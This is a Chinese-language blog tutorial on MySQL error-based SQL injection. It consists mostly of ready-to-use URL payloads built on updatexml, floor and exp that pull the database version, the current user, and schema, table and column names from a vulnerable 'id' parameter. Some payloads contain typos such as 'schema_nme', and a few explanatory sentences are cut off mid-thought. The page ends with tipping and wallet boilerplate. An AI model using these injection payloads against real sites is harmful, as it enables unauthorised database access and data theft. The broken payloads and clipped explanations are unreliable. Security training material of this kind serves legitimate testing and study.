mysql报错注入_mysql报错注入

报错注入

这里主要介绍3种MySQL数据库报错注入的发法,分别是updatexml、floor和exp。

1.updatexml

updatexml的报错原理从本质上来说就是函数的报错。

select updatexml(1,concat(0x7e,(select version()),0x7e),1);

这里还是使用前面的例子,举出一个爆破数据库版本的样例Payload:

爆破数据库版本信息

?id=1' +updatexml(1,concat(0x7e,(select version()),0x7e),1)%23

?id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+

其中0x7e是ASCII编码,解码结果。

爆破当前用户

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

爆破当前使用的数据库

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

爆破数据库中的库名

?id=1' and updatexml(1,concat(0x7e,(select schema_nme from information_schema.schemata limit 0,1),0x7e),1) --+

爆破表名

?id=1' and updatexml(1,concat(0x7e,(select table_nme from information_schema.tables where table_schema= 'test' limit 0,1),0x7e),1) --+

其他功能的Payload可以参照下面floor的使用方法来修改。

2.floor

爆破数据库版本信息

?id=1' +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆破当前用户

?id=1' +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆破当前使用的数据库

?id=1' +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆破指定表的字段(下面以表名为emails举例说明)

?id=1' +and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

注意,这里我们采用的是十六进制编码后的表名。如果想采用非十六进制编码的表名则需要添加引号,但是这时候有可能会出现单引号导致的报错。

这这里,我们只演示爆破数据库版本的Payload,关于其他Payload,可自行研究并复现。

3.exp

接下来是exp函数报错,exp()报错的本质原因是报错。我们可以在MySQL中进行。

select exp(~(select * from (select user())x));

同样使用前面的例子,Payload为。

?id=1' and exp(~(select * from (select user())x))%23

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值